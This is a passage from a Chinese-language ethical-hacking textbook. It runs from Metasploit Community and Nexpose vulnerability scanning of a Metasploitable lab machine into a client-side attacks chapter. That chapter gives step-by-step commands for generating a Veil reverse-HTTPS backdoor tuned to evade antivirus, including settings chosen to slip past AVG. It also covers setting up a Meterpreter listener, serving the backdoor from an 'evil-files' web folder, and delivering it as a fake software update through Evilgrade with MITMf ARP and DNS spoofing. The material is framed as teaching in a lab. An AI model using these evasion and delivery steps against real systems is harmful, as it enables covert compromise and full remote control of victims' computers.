正如我们在以下截图中看到的,模块确实已经运行,并且输出非常类似于从 Metasploit 控制台得到的输出,并且它显示会话 1 已打开。它已经为我们创建了一个会话。现在,我们可以与它进行通信:

命令行界面的输出

我们可以看到前面截图中显示的Session标签。它的编号是 1。如果我们点击它,我们会看到一个会话已经打开,并且是在 Metasploitable 机器上,或者是 Metasploitable 项目上,并且它使用了 Java RMI 服务器。如果我们点击该会话,我们将看到我们可以在那台计算机上执行的所有操作。现在,我们可以使用Collect System Data来获取一些敏感数据,但我们无法使用该功能,因为它仅适用于 Pro 版本,而我们的是社区版。我们可以使用Access Filesystem,并且我们实际上可以拥有一个基于 Web 的文件浏览器。我们可以浏览目标计算机上的文件,或者我们可以获取一个 Meterpreter 的命令提示符,就像我们之前所使用的那样。如果我们通过返回上一页进入Command shell,我们将看到我们有一个 Meterpreter 命令行界面,允许我们使用 Meterpreter 负载。

现在,我们将研究 Meterpreter 有效负载以及如何在后期利用中使用它,但我们只会看到从这里我们可以完全访问目标计算机,并能够在其上执行任何我们想做的操作。Metasploit 通过浏览器完成了一切。我们无需手动运行 Metasploit 并配置有效负载和利用程序。现在,我们将看到最后一个功能——模块标签。某些模块不需要为我们提供完全访问权限。有些模块只能用于执行拒绝服务攻击,有些则是代码执行漏洞,但它们可能无法工作。我们可以尝试它们,看看它们是否有效。我们可以点击它们并从计算机内部运行。

在收集模块中,它并不利用任何漏洞。它只是允许我们上传文件,其中一些文件会给我们带来一个 Meterpreter 会话。只需点击它,我们就可以从 Web 界面内运行它。该工具还提供其他功能,例如 Web 应用功能,可以扫描 Web 应用。我们只需进入报告选项,就可以创建一个包含所有发现的报告,但问题是这些功能仅限于专业版。除非我们支付费用,否则无法使用这些功能。

安装 Nexpose

在本节中,我们将讨论一个名为 Nexpose 的工具。Nexpose 由 Rapid7 公司开发。它由与 Metasploit 和 Metasploit Community 相同的团队制作,在某些方面与 Metasploit Community 相似,因为它具有 Web 图形界面,允许我们发现、评估并处理发现的漏洞。它还将这些漏洞映射到现有的利用程序,但不同之处在于,Metasploit Community 只向我们展示可以在 Metasploit 内使用的漏洞,而 Nexpose 实际上会展示在 Rapid7 和 Metasploit 之外发布的漏洞。它的工作范围更广,展示了更多漏洞,并且帮助我们在扫描结束时创建报告,以便与技术人员共享,同时也能生成一个适合与管理层共享的简要报告。它还帮助我们创建定时扫描。例如,假设我们有一家公司,或者我们在处理大型基础设施,想要每周或每月进行定期扫描;我们可以使用这个工具来实现。

让我们看看如何安装并运行它,区别会更加明显:

  1. Nexpose 在 Kali Linux 中并未预装,我们需要手动安装。要下载它,你需要从www.rapid7.com/products/nexpose/download/下载。它会要求你填写姓名和地址。填写并下载。我们将下载免费的社区版本。在安装之前,首先要停止与其一同安装的 PostgreSQL 服务,或者停止在 Kali Linux 中运行的 PostgreSQL 服务。只需运行service postgresql stop命令即可停止 SQL 服务。

  2. 通常,当我们打开终端时,默认不会处于Downloads目录。我们需要使用cd命令切换到Downloads目录。当我们进入Downloads目录后,可以列出所有可用的文件,我们会找到Nexpose Rapid7Setup-Linux64.bin安装文件。我们需要将该文件的权限更改为可执行文件。如果你已经更改了权限,当我们执行ls命令时,它将以绿色显示。首先,我们使用chmod命令更改权限,使其成为可执行文件。命令为chmod +x filenamefilename是我们想要更改权限的文件,对于我们来说是Rapid7Setup-Linux64.bin。下面是命令:

chmod +x Rapid7Setup-Linux64.bin
  1. 现在,运行这个安装程序。要在 Linux 系统中运行可执行文件,我们只需输入./,然后输入你想运行的文件名。对于我们来说,是Rapid7Setup-Linux64.bin。命令如下:
./Rapid7Setup-Linux64.bin

安装程序会弹出,如下截图所示:

  1. 现在,我们只需要点击“下一步”,然后它会要求我们接受协议。我们将安装带有扫描引擎的控制台。我们可能会遇到一个问题:Nexpose 只兼容 Kali 2。如果我们想继续安装,我们需要修改本地系统的两个文件,使我们的系统看起来像 Kali 2,以便安装程序允许我们在系统上安装它。如果你没有遇到这个问题,那么现在只需点击“下一步”,但我们将通过修改两个文件来使我的系统看起来像 Kali 2。

  2. 只有当你遇到系统不兼容的错误时,才按照以下步骤操作:

    • 点击完成(Finish)。我们需要修改系统版本为 Kali 2 的说明文件在本书的 GitHub 仓库中(github.com/PacktPublishing/Fundamentals-of-Ethical-Hacking-from-Scratch)。需要修改的两个文件是lsb-releaseos-release。我们将打开两个标签页,每个文件一个,第一个文件位于/etc目录,名为lsb-release。在修改文件之前,我们将先复制它并备份,因为完成此步骤后我们将恢复文件至原始状态。

    • 我们将创建一个新的文件夹,命名为backup,然后将文件粘贴到backup文件夹中。完成后,我们将根据说明修改文件。我们将使用 Leafpad 打开它,复制所有内容,保存并退出。接着,我们将对下一个文件进行相同的操作,这个文件是os-release,存储在/usr/lib/os-release路径下。我们将复制该文件并将其放入backup文件夹中,然后根据指示修改代码。

    • 好的,一旦一切完成,我们将返回并再次运行安装程序,它应该会认为我们已经安装了 Kali 2,并继续安装。

  1. 向下滚动,点击接受(Accept),然后点击下一步(Next),我们将看到软件认为我们已经安装了 Kali 2,所以它会允许我们继续安装。

  2. 现在,端口已设置为5432,我们将点击下一步(Next):

  1. 现在,我们需要输入名字、姓氏和公司信息。系统会要求我们输入数据库的端口,该数据库将与 Nexpose 一起使用:

  1. 确保我们不勾选以下截图中显示的复选框。如果在安装过程中勾选此框,会出现很多问题;该框的作用是安装完成后自动启动 Nexpose,但我们不打算勾选它。我们只会进行安装,安装完成后再手动启动它。请确保没有勾选此框,确保它保持未选中状态。现在,它将为我们进行安装:

  1. 好的,一旦安装成功,由于我们还没有启动 Nexpose,如果我们访问https://localhost:3780,什么也不会发生。我们需要先运行一个命令,然后才能访问它。我们将在下一节讲解这个过程。目前,我们点击完成(Finish),这样就完成了:

现在,我们将返回并确保将文件恢复到原来的状态。如果你没有修改过文件,可以跳过这一步;如果你修改过文件,请确保将它们恢复到原来的状态。

运行 Nexpose

好的,现在我们已经成功安装了 Nexpose,接下来让我们看看如何运行它并了解它的功能。我们之前讨论了很多,并且走过了安装过程,但我们还没有看到工具的实际功能。在我们能够运行工具之前,首先要确保 Kali Linux 自带的数据库已关闭,因为 Nexpose 使用的是自己的数据库。如果它们在同一个端口上运行,会互相冲突。我们要做的第一件事是停止postgresql服务;记住,每次运行 Nexpose 之前,都要关闭数据库。我们可以使用在第十章获取计算机设备访问权限中用过的命令来做到这一点。命令是service postgresql stop,它会确保服务已停止。

现在,我们将导航到安装 Nexpose 的位置。除非在安装过程中更改了安装位置,否则它应该安装在/opt/rapid7/nexpose/目录下。运行服务器的文件存储在名为nsc的目录中,我们要运行的文件是nsc.sh。我们可以像之前运行安装程序一样运行它。正如我们之前所说,运行可执行文件时,始终使用./,然后写上可执行文件的名称,即nsc.sh

第一次运行时可能需要一些时间。只需要让它运行,直到加载完成,一旦加载框架完成,我们就能看到如何访问并使用它。

工具已经成功加载,如你所见,它告诉我们我们可以通过https://localhost:3780 URL 进行访问:

现在我们要做的是启动浏览器并复制它刚才给我们的 URL。现在它要求我们登录。使用安装工具时创建的用户名和密码进行登录:

登录成功后,我们可以在下图看到,首先它要求我们输入产品密钥:

现在,我们知道这是一个免费版本,当我们下载该工具时,我们需要填写一份表格。在表格中,我们填写了电子邮件地址,然后他们会将产品密钥发送到我们的邮箱。去你的邮箱获取产品密钥并粘贴它。粘贴后,点击使用密钥激活。如我们所见,激活成功。它现在会刷新。如我们看到的下图,它只显示了关于许可证的信息。所有内容都已激活,我们可以开始使用了:

我们将从左侧菜单进入主页。我们可以在上面的截图中看到,一切都是空的。这是工具的主页。在我们开始讨论每个功能的意义之前,先添加一个目标,然后我们会做一个测试,因为这些内容会在我们测试后自动填充。我们要做的第一件事是点击Create,然后点击Site来添加目标:

我们将目标的Name设置为metasploitable

我们将进入ASSETS标签页,添加目标。目标的添加方式与我们之前使用 Zenmap 进行网络渗透测试时相同。我们可以添加一个范围,或者添加一个特定的 IP 地址。在我们的例子中,我们实际是针对 Metasploitable 机器进行攻击。我们将添加目标,目标是10.0.2.4,并将其添加到一个组中,组名为test

现在,在AUTHENTICATION标签页中,如果目标使用某种认证方式,除非通过某种服务(如 FTP 服务、Web HTTP 认证、Telnet 或 SQL 服务器)进行身份验证,否则任何人都无法访问目标。我们可以从AUTHENTICATION标签页中选择认证方式,输入域名、用户名和密码,并确认密码。这样,框架就能够通过该服务进行认证,并测试服务器的安全性。现在,我们的服务器不使用任何认证方式,因此我们不需要此功能。此外,如果我们正在攻击一个需要登录的 Web 应用程序,例如 Facebook 的用户登录页面,那么除非我们使用用户名和密码登录,否则无法访问 Facebook 的大部分功能。使用这里的功能,我们可以先登录,然后再测试目标的安全性。

TEMPLATES标签页是我们选择扫描类型的地方。它与 Zenmap 中的扫描类型非常相似。在 Zenmap 中,我们有快速扫描、快速扫描增强版和强力扫描,概念是一样的。每个配置文件不同,扫描的内容也不一样。例如,我们有Full audit,虽然时间较长,但几乎可以检查所有内容。还有Full audit enhanced logging without Web Spider

Web Spider 是一个工具或脚本,用来查找目标中的所有文件和目录。默认的扫描配置是Full audit without Web Spider。我们也有网络专用的配置文件,此外还有 Web 审计。我非常鼓励你尝试大多数配置文件,并熟悉它们。

我们只会尝试进行完整的审计增强日志记录,而不使用 Web Spider,因为使用它们是一样的。我们将扫描 ICMP、TCP 和 UDP 端口。我们将保持不变。我们也将保持 ENGINE 选项卡不变,这意味着它将使用我们安装的本地引擎,而不是使用 Rapid7 提供的引擎。在警报选项卡中,我们可以设置自定义警报,以便在发现漏洞时收到通知。计划是一个非常酷的功能。现在,假设我们为一家公司或企业工作,他们每天都在推送代码,或者今天我们做了一个测试,我们正在处理的一切都很好;我们的 Web 服务器、程序、应用程序,一切都是最新的,其中没有漏洞。假设明天我们推送了一个新的有漏洞的代码,或者明天有人发现了我们在 Web 服务器上使用的程序的一个新漏洞。我们就不再安全了。这个功能允许我们安排这个测试,使其每周、每小时或每月运行一次,具体取决于其重要性。进入创建计划并创建计划。我们可以设置开始日期,并将频率设置为每天、每周四、每月 26 日,具体取决于我们的需求:

我们创建了计划,然后扫描将在我们指定的每个间隔运行,我们甚至可以让它为我们生成报告。当我们查看报告并看到有什么变化,或者发现了什么时,我们可以进行检查。

最重要的部分是我们将目标放在 ASSETS 选项卡中。然后我们从 TEMPLATES 选项卡中选择一个模板。当这两个选项卡都配置好后,我们将点击保存并扫描,这将保存这个配置并为我们启动扫描。正如我们所看到的,我们的资产发现正在进行中,之后我们将讨论我们得到的结果:

Nexpose 分析

我们的扫描已经结束,我们现在在资产页面上,正如我们在下面的截图中所看到的,我们已经扫描了一个资产。我们可以看到这个资产正在运行 Ubuntu,我们需要入侵这个资产的技能是初学者:

从前面的截图中,我们可以看到 Nexpose 向我们展示的信息比 Metasploit Community 更多,它是一个更先进的漏洞管理框架。

我们可以看到我们扫描了一个目标,METASPLOITABLE,该站点是全球的。它运行在 Ubuntu Linux 8.04 上,我们没有发现恶意软件,175 个漏洞利用和 306 个漏洞。请记住,使用 Metasploit Community,我们只发现了 1 个可利用的漏洞和 8 个可用的模块。在这里,我们发现了 306 个漏洞。我们发现了更多的漏洞和漏洞利用。

我们可以看到有一个风险因素,以及上次扫描的时间。如果我们向下滚动,我们可以看到我们发现的操作系统。同样,它是Ubuntu Linux 8.04。我们可以看到安装在目标计算机上的软件,不仅是运行在端口上的服务。我们可以看到实际安装在目标计算机上的软件:

在我们成功入侵计算机之后,这可能非常有用。在我们成功入侵后,找到可以用来提升权限的本地漏洞非常有用。例如,如果我们设法,如果我们获得了一个普通用户并且想要成为 root 用户,那么我们可以使用本地缓冲区溢出来提升权限或执行其他类型的操作。这些在后期利用方面非常有用。

如果我们继续往下走,我们将看到安装在目标计算机上的服务。就像 Nmap 给我们的那样,我们可以看到HTTP正在运行,DNS等等:

如果我们点击任何这些服务,我们将看到更多关于它们的信息。例如,对于 HTTP 服务,我们有关于它的描述,以及它运行的端口。我们可以看到 HTTP 运行在端口80和端口8180上:

现在,让我们向上滚动,如果我们想更仔细地查看漏洞,我们可以转到漏洞页面:

正如您在前面的截图中所看到的,我们有一个关于漏洞的图表,左侧按照风险因素分类,右侧按照利用它们所需的技能水平分类。当我们向下滚动时,我们可以看到所有漏洞的列表,并可以使用箭头在它们之间切换:

再次,如果有任何恶意软件,我们将在恶意软件图标下看到它,如果有利用漏洞,我们将在利用漏洞图标下看到它。现在,列出的前几个漏洞没有使用工具进行利用,但它们是根据风险排序的。列出的漏洞非常危险,随着我们继续进行,风险会降低。

我们可以看到在前面的截图中,我们发现了VNC的密码是"password"。我们可以尝试使用 VNC 连接。VNC 是一种非常类似于远程桌面的服务。基本上,它会显示给我们桌面,并允许我们完全访问目标计算机,就像远程桌面一样。它告诉我们登录的密码是password。它还告诉我们有一个后门Shell Backdoor Service正在运行,我们已经使用过了。

现在,让我们看一些可能被利用的东西。我们将点击漏洞图标以按漏洞排序,我们可以看到所有这些都有一个 M 标志,这意味着它们可以使用 Metasploit 进行利用:

如上图所示,我们可以使用 Remote Shell Service,另外也可以使用 Remote Login Service,之前我们已经看过这个。让我们点击一个我们之前没见过的选项,比如 Default Tomcat User and Password。在下图中我们可以看到关于这个漏洞的描述:

再次,我们可以看到它运行的端口,并且可以理解为什么它认为这个特定目标对这个漏洞是脆弱的:

如果我们向下滚动,它会显示如何利用这个漏洞:

有三个不同的模块可以用来利用它,但实际上不一定非得利用它。有时我们只是看到可以用来验证此漏洞存在的模块,但基本上这些就是与之相关的模块。如果我们点击任何 Exploit 的 Source Link,它会带我们到以前通过谷歌搜索时看到的 Rapid7 页面:

我们看到了 Module Name,我们可以将其复制并粘贴到 Metasploit 中,接着运行 show options,然后像之前章节中看到的那样使用该漏洞。向下滚动还会显示关于该漏洞的 REFERENCES:

最后,它会显示关于如何修复该漏洞的 REMEDIATIONS:

对于这个漏洞,我们所需要做的就是更改管理员密码,并且不要使用默认配置。

另一个有用的功能是在 Reports 标签页中:

这个框架允许我们为每次扫描生成报告,并且报告有不同的模板类型。在 Create a report 中,我们可以看到有一个 Audit Report,其中包含大量的详细信息,适合程序员或技术人员。我们还可以使用 Executive Report,它包含的信息较少,适合经理或对技术不太了解的高层人员。我们可以选择任何想要的模板,并为其命名。我们将此报告命名为 metasploitable report,如上图所示。如果我们稍微向下滚动,就可以选择我们想要的格式:

在上图中,它被设置为 PDF。接下来,我们将点击 Select Scan,选择我们要生成报告的目标扫描,并选择 metasploitable:

然后,我们点击 SAVE & RUN THE REPORT 生成报告:

我们还可以每次自动生成报告,因为我们可以安排报告、安排扫描,还可以每次扫描完成后安排自动报告。例如,如果我们每周扫描一次,您也可以每周生成一次报告,每次扫描完成后。现在,只需点击报告下载,就可以查看报告内容:

如下图所示,它包含了日期、标题以及所有已发现的漏洞,但这是一个执行报告。它包含了有关漏洞的小细节,并且有更多图形化的内容,目的是向高层展示已发现的风险及其严重性:

如上图所示,Nexpose 展示了更多细节,而且功能更加先进。它针对的是更大的公司和更复杂的基础设施,我们需要始终确保一切都是最新的,所有东西都已安装,并且没有漏洞。

摘要

我们已经了解了如何使用 Metasploit 框架,该框架预装在 Kali Linux 中。我们随后使用这个框架进行了各种扫描,并学习了如何分析生成的报告。接着,我们安装了 Nexpose 工具,并了解了如何使用它扫描漏洞并生成图形报告。我们还学习了如何解读报告内容。

在下一章中,我们将讨论各种客户端攻击。

第十二章:客户端攻击

在上一章中,我们首先学习了如何通过服务器端攻击获得受害机器的访问权限。现在,我们将转向客户端攻击,讨论它们是什么,以及如何使用一个叫做 Veil 的工具来生成一个无法检测到的后门。我们还将讨论载荷。一旦我们对载荷有了一个初步了解,我们将生成一个后门,通过它实施客户端攻击到我们的系统,从而监听连接。最后,我们将学习如何在实时中实现后门,以及如何保护我们的系统免受此类攻击的技术。

在本章中,我们将覆盖以下主题:

  • 客户端攻击

  • 安装 Veil

  • 载荷概述

  • 生成 Veil 后门

  • 监听连接

  • 测试后门

  • 假的 bdm1 更新

  • 使用 bdm2 BDFProxy 进行客户端攻击

  • 防护措施:交付方法

客户端攻击

在本节中,我们将学习客户端攻击。通常,尝试通过服务器端攻击获得目标的访问权限更为有效,比如寻找操作系统和已安装应用程序中的漏洞。如果这种方法不起作用,或者我们的目标被隐藏在一个 IP 后面,或者使用了隐藏网络,那么下一步的选择就是客户端攻击。客户端攻击要求用户进行某些操作,比如点击链接、安装更新或下载图像,从而在他们的机器上运行代码。由于这些攻击需要用户交互,因此信息收集非常重要——收集关于个人应用程序和个人身份的信息。为了使客户端攻击成功,我们需要了解一个人的朋友、他们使用的网络和网站,以及他们信任的网站。因此,收集信息时我们的重点是个人,而不是他们的应用程序或操作系统。

攻击机器将是 Kali 机器,目标机器将是 Windows。为了确保它们在同一网络中,两个机器将使用 NAT 网络。在我们的示例中,我们将使用反向连接,因此此时不需要使用单独的 IP 地址。

安装 Veil

在本节中,我们将学习如何生成一个无法检测到的后门。后门只是一个文件,当它在目标计算机上执行时,会给我们提供完全访问权限。生成后门有多种方法,但我们感兴趣的是生成一个无法被杀毒软件检测到的后门。这实际上并不难,如我们将看到的,只要你使用一个叫做Veil-Evasion的工具。

Veil-Evasion 曾经是一个独立的工具,但它的创建者最近将其与框架中的其他工具结合在一起,重新发布为 Veil-Framework。现在,它通常被称为 Veil。

从以下 GitHub 链接下载 Veil 的最新版本,即版本 3:github.com/Veil-Framework/Veil。如果您对 GitHub 不熟悉,它是一个版本控制系统,允许程序员发布、共享和更新源代码。在下载程序时经常使用 GitHub。Veil 的存储库可以通过 GitHub 的链接或将其复制到终端来下载。现在,在下载之前,我们实际上希望将其存储在/opt目录中,因此我们将执行cd以导航到另一个目录,并输入/opt来打开名为opt的目录。现在,这是我们将存储可选程序的位置,因此名称为opt,如果我们执行ls以列出可用目录,我们将看到我们只有一个名为Teeth的程序目录。

现在,如果我们想要下载Veil,我们必须从 GitHub 复制存储库链接,然后转到我们想要下载它的位置的终端。因此,首先我们改变目录到/opt,然后我们将执行git clone,并输入存储库的 URL。命令非常简单,如下所示:

git clone https://github.com/Veil-Framework/Veil

在这里,我们使用clone命令告诉git我们要克隆或下载这个框架、程序或项目,然后与 Veil 共享链接。要下载所需项目,只需按Enter,如下屏幕截图所示:

如果我们使用ls 命令列出我们的文件,我们应该看到一个名为Veil的新目录。我们可以通过输入cd Veil/来导航到该目录。ls命令应列出所有可用文件,包括我们需要安装的Veil.py。为此,请导航到config目录,输入cd config/,并运行setup.sh bash 脚本。此脚本将安装 Veil-Evasion。

要在 Linux 终端中运行可执行文件,只需输入./,然后输入可执行文件的名称,如下所示:

./setup.sh

前一个命令应生成以下结果:

正如您在前面的屏幕截图中所看到的,我们被询问是否要安装 Veil,对此我们回答yes。请注意,安装可能需要一些时间。

首先,我们打开终端,接着导航到/opt目录,因为我们在这个目录下克隆了Veil,并且它被克隆到了一个名为Veil的目录中。所以,我们输入cd /opt/Veil/来切换工作目录,并进入/opt/Veil/目录。然后我们将启动,并进入Veil目录。如果我们输入ls命令,我们会看到Veil可执行文件。因此,我们可以像之前说的那样运行任何可执行文件,只需输入./后跟可执行文件的名称,即Veil.py。我们将启动它,进入Veil的欢迎界面,正如下面的截图所示,现在我们可以开始使用这个工具了。我们将在下一章介绍该工具的使用。

有效负载概述

现在 Veil 已安装完成,我们可以查看它的命令。命令非常简单,exit允许我们退出程序,info提供关于某个特定工具的信息。list会列出可用工具,update会更新 Veil,最后,use启用任何工具,如下图所示:

list命令显示了 Veil 的主要命令,如下所示:

  1. Evasion:这个功能生成不可检测的后门。

  2. Ordnance:这个功能生成Evasion使用的有效负载;它是一个辅助工具。

有效负载是代码的一部分,或是后门的一部分,它完成我们想要的功能。在本例中,它为我们提供了一个反向连接,并下载并执行某些内容到目标计算机上。

当 Veil-Evasion 加载完成后,您应该看到类似下图的界面:

如您所见,Veil 为我们提供了一系列可以在该工具上运行的命令。我们在这里需要的是list所有可用的有效负载,共有 41 个。每个有效负载分为三个部分,如下图所示。我们已将我们将使用的有效负载高亮显示,即15) go/meterpreter/rev_https.py

有效负载名称的第一部分是cs,这表示该有效负载将被封装在的编程语言。如前面的截图所示,使用的语言包括 GO、C、CS、Python、PowerShell 和 Ruby。

有效负载的第二部分非常重要,因为这是有效负载的类型;换句话说,它是将在目标计算机上执行的代码类型。

在本例中,我们使用的是 Meterpreter,它是 Metasploit 设计的有效负载。Metasploit 是一个庞大的框架,有时用于黑客攻击。Meterpreter 在内存中运行,因此难以检测,并且不会留下大规模的痕迹。使用 Meterpreter,我们可以完全控制目标计算机,允许我们浏览文件系统、打开摄像头、安装或下载文件等。

有效载荷名称的第三部分是将用于建立连接的方法。在我们的示例中,这是rev_httpsrev代表反向,https是将用于建立连接的协议。在前面的截图中,还有一些rev_tcp的示例,它创建一个反向 TCP 连接。

反向连接是指目标计算机通过后门连接到攻击者计算机。该方法可以绕过杀毒程序,因为连接并不是直接指向目标计算机,而是指向攻击者计算机。在我们的例子中,我们将使用许多网站都使用的端口808080,因此该连接看起来像是一个无害的网站连接。反向连接也能在隐藏的计算机上工作,使其成为获取计算机访问权限的最实用方法之一。

有些有效载荷不遵循常规的命名规则,例如shellcode_inject。它实际上创建了一个普通的有效载荷,将我们的其他有效载荷注入其中。

生成 Veil 后门

现在我们将使用 Veil 生成一个后门。首先,我们运行list命令。我们输入use 1命令,因为我们想使用Evasion,然后按Enter键,并且因为我们想使用第十五个有效载荷,我们将运行use 15命令,如下所示:

使用以下选项,我们将把有效载荷的IP LHOST更改为我们正在使用的 Kali 机器的 IP 地址。

要获取我们 Kali 机器的 IP 地址,我们必须运行ifconfig。通过右键点击并选择“水平分屏”,然后运行命令。如下所示的截图中,Kali 机器的 IP 地址是10.0.2.15,这是我们希望目标计算机在执行后门后连接回来的地址:

要将LHOST设置为10.0.2.15,请输入set命令后跟要更改的选项,如下所示:

set LHOST 10.0.2.15

现在我们需要更改LPORT,将其设置为8080。这个端口也被 Web 服务器使用,因此不会显得可疑,且应该仍能绕过防火墙。要设置正确的端口,请输入set LPORT 8080命令,如下所示的截图所示:

根据经验,这个过程将绕过除 AVG 外的所有杀毒程序。杀毒程序使用一个庞大的签名数据库来工作。这些签名对应包含有害代码的文件,所以如果我们的文件与数据库中的任何值匹配,它将被标记为病毒或恶意软件。因此,我们需要确保我们的后门尽可能独特,以便能够绕过每一款杀毒软件。Veil 通过加密后门、混淆代码并将其注入内存中来尽量避免被检测到,但这对于 AVG 并不奏效。

为了确保我们的后门能够绕过 AVG 防病毒程序,我们需要修改它使用的最小处理器数量——在这种情况下是1。为此,请使用以下命令:

set PROCESSORS 1

我们还将修改SLEEP选项,这是后门执行有效负载之前等待的秒数。为了让后门等待6秒,请使用以下命令:

set SLEEP 6 

这些更改反映在以下截图中:

现在,我们将使用generate命令生成后门,如下所示:

我们现在需要为后门命名。在这里,我们将其命名为rev_https_8080。以下截图展示了生成后门后的情况,包括后门使用的模块和它存储的位置:

为了测试我们的后门,我们将绕过 Veil 的checkvt命令(它并不总是准确的)和与防病毒软件共享结果的 VirusTotal,而选择使用 NoDistribute 网站,如下图所示:

现在,点击浏览...,并导航到你的文件所在路径/usr/share/veil-output/compiled,如下所示:

一旦我们点击了扫描文件查看上次结果,就可以看到我们上传的文件成功绕过了所有的防病毒程序,如下图所示:

文件上传绕过了防病毒程序

请记住,Veil 在更新到最新版本时效果最佳。同样值得注意的是,后门是否能被检测到往往是偶然的——我们之前生成的一个没有设置休眠时间的后门被防病毒软件检测到了,另一个休眠时间为 10 秒的后门也被检测到。然而,设置了 6 秒休眠时间的后门却成功绕过了所有程序。

我们建议尝试使用有效负载中的所有可用选项,找到适合你的方式。

监听连接

如你所知,我们创建的后门使用的是反向有效负载。为了使反向有效负载正常工作,我们需要在我们的计算机上打开一个端口,以便目标机器能够连接到它。当我们创建后门时,我们将端口设置为8080,因此我们需要在我们的 Kali 机器上打开该端口。记住,在此示例中,我们选择的有效负载名称是meterpreter/rev_https

接下来,我们将像之前一样分屏,并使用 Metasploit 框架监听传入连接。要运行 Metasploit,请使用msfconsole命令,输出结果应类似于以下截图:

为了监听传入连接,我们需要使用 Metasploit 中的一个模块:exploit/multi/handler。要启动该模块,请使用以下命令:

use exploit/multi/handler

启动后,导航到exploit/multi/handler模块。你需要在这个模块中指定的最重要的内容是有效载荷,使用set命令进行设置。要将有效载荷设置为windows/meterpreter/reverse_https,请使用以下命令:

set PAYLOAD windows/meterpreter/reverse_https

如果我们现在运行show options命令,我们应该会看到有效载荷已更改为windows/meterpreter/reverse_https,如下图所示:

LHOST设置为我们的 Kali 机器的 IP 地址是一个类似的过程,可以使用以下命令完成:

set LHOST 10.0.2.15

在继续之前,请确保您的有效载荷、主机和端口设置正确,并且与最初生成后门时的值一致,如下所示:

现在我们只需要执行exploit命令。现在,Metasploit 正在等待连接,正如我们在以下截图中所看到的,连接是在8080端口,并且我们的 IP 地址是10.0.2.15。一旦建立了连接,我们就能控制目标计算机:

测试后门

为了测试我们的后门是否按预期工作,我们将把它放到我们的 Web 服务器上,并从目标计算机下载它。我们不建议将这种方式用于测试以外的任何操作。

由于 Kali 可以用作网站,我们将把后门上传到网上,并从目标 Windows 机器下载它。我们将把这个下载文件保存在一个地方,一个名为evil-files的文件夹中,如下图所示:

现在,我们使用 Veil-Evasion 创建的后门,存储在var/lib/veil-evasion/output/compiled/中,需要复制并粘贴到evil-files目录中。就这样!我们可以从 Kali 下载文件。

要启动 Web 服务器和网站,请在终端中输入以下命令:

**service apache2 start**

这里,命令是service,而apache2是网页服务器的名称。按下Enter键将执行之前的命令。

现在我们需要导航到 Kali 机器的 IP 地址10.0.2.15。这应该会打开我们创建的基本index.html文件,告诉我们我们的 Web 服务器正在正常工作,如下所示:

要进入包含后门的目录,前往10.0.2.15/evil-files并按Enter。然后我们可以下载并运行后门,如下图所示:

现在我们在 Windows 机器上运行了后门,我们的 Kali 机器会告诉我们已经从目标计算机接收到连接,如下图所示:

这意味着我们现在完全控制了那台计算机。在前面的截图中,我们可以看到我们有一个 Meterpreter 会话,这允许我们做任何该计算机合法用户可以做的事情。

要检查后门是否正常工作,请使用sysinfo命令。你应该能看到你已经进入了MSEDGEWIN10机器,该机器运行的是Windows 10 (Build 17134),具有x64架构,使用en_US语言,并且运行的是 Meterpreter x86 版本。

我们现在基本上已经黑进了目标计算机。干得不错!

假冒的 bdm1 更新

虽然我们已经有了一个不可检测的后门,但我们仍然没有找到一种聪明且高效的方式将其传送到目标机器。在现实生活中,如果我们要求目标下载并运行一个可执行文件,他们可能不会这么做。因此,我们现在将研究如何伪造一个用户愿意下载并安装到他们机器上的更新。

这种情况会在我们处于连接中时有效,例如,当使用虚假网络、实施中间人攻击或通过手机重定向流量时。

在本节中,我们将介绍使用 ARP 欺骗的 DNS 欺骗。这意味着我们与目标机器在同一网络中,在本示例中目标机器是有线网络而非无线网络。我们将使用一个名为 Evilgrade 的工具,作为服务器来生成假冒更新。你可以通过以下链接安装 Evilgrade:

github.com/PacktPublishing/Fundamentals-of-Ethical-Hacking-from-Scratch

下载并运行evilgrade命令后,运行show modules命令查看我们可以劫持更新的程序列表,如下图所示:

如你所见,有 67 个程序我们可以劫持更新,其中包括一些流行的程序,如 Google Analytics、诺基亚、Safari 和 Download Accelerator Plus,而我们将使用后者作为本示例。

运行configure dap命令以使用 DAP 模块。然后,使用show options命令查看所有可配置的选项,如下图所示:

我们将专注的主要选项是agent,因此我们需要将./agent/agent.exe路径替换为将作为更新安装的程序路径。在我们的案例中,我们希望将后门作为更新进行安装。

生成 Veil 后门部分,我们创建的后门使用的是reverse_https有效载荷,但这种载荷与 DAP 不兼容。因此,我们将使用一个名为backdoor.exe的后门,它使用reverse_http有效载荷。要创建这种后门,请参照生成 Veil 后门部分中的步骤。

要更改agent,使其执行我们的后门而不是更新,请使用以下命令:

set agent /var/www/html/backdoor.exe

将命令中的路径替换为 reverse_http 后门所在的路径。现在,再次运行 show options 命令,检查它是否已正确配置,如下图所示:

我们还可以按照相同的方式设置其他任何选项;我们只需要输入 set option 名称,后面跟上 option 值。你可能想设置的一个 optionendsite

现在,未来可能这个网站会无法使用,所以如果它在目标计算机上显示错误,我们可以将这个网站更改为任何你想要的网站;你可以直接将其更改为 update.speedbit.com

当一切准备就绪时,通过运行 start 命令启动服务器,如下所示:

现在,每当 Evilgrade 收到更新请求时,它会告诉任何请求更新的人有更新——我们的后门。为了实现这一点,我们需要将所有对 update.speedbit.com 的请求重定向到 Evilgrade。

我们可以通过 DNS 欺骗攻击来实现这个切换,将所有从 update.speedbit.com 的请求伪装成指向 Evilgrade(和我们的 IP 地址)。

使用 leafpad /etc/mitmf/mitmf.conf 命令打开 mitmf.conf 文件,并将 DNS 服务器的端口更改为 5353,以避免与 Evilgrade 冲突,如以下截图所示:

如果我们查看我们的 A 记录,我们会看到现在我们已经将所有对 update.speedbit.com 的请求重定向到我们的 IP 地址 10.0.2.15,Evilgrade 就运行在这个 IP 上。

现在我们要做的就是运行 MITMf,使用以下命令:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i etho --dns

按下 Enter 键,完成了!DNS 欺骗已完成。现在 Evilgrade 正在运行,我们的后门可以从 update.speedbit.com 下载并执行:

为了监听连接,在 msfconsole 终端上通过使用 exploit/multi/handler 模块更改选项,将有效负载设置为 windows/meterpreter/reverse_http,将 LHOST 设置为 10.0.2.15(这是我们 Kali 机器的 IP),将 LPORT 设置为 8080,如以下截图所示:

再次强调,目标程序将使用 update.speedbit.com 检查更新,这个网址将通过 MITMf 重定向到 Evilgrade 运行的 IP 地址。

现在我们需要在目标计算机上检查 DAP 更新,在我们的例子中是 Windows 计算机;当我们尝试更新 DAP 应用程序时,应该会弹出一个对话框,告诉我们需要进行关键更新,如下图所示:

